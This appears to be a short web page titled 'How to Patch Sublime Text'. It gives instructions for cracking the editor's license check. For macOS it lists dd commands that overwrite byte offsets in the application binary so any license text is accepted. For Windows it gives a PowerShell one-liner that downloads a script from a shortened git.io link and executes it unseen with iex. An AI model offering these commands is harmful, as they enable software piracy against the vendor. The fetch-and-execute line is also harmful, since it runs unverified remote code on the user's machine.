Skip to main content

How to Patch Sublime Text

Mac OS X (Build 3176)

Run the following commands in the terminal, restart sublime text and then at the license prompt, enter any garbage, even a single letter, and click Use License

printf '\xc3' | dd seek=$((0xae95)) conv=notrunc bs=1 of=/Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text

printf '\xc3' | dd seek=$((0xb2c6)) conv=notrunc bs=1 of=/Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text

printf '\x48\xc7\xc0\x01\x00\x00\x00\xc3' | dd seek=$((0x85036)) conv=notrunc bs=1 of=/Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text

Windows

Run the following commands in a Powershell terminal, and restart sublime text

'https://git.io/vpNim' | ? { icm { iwr $_ | iex } -arg $_ }

References:

  1. Cracking guide for Sublime Text 3
  2. Hexpatcher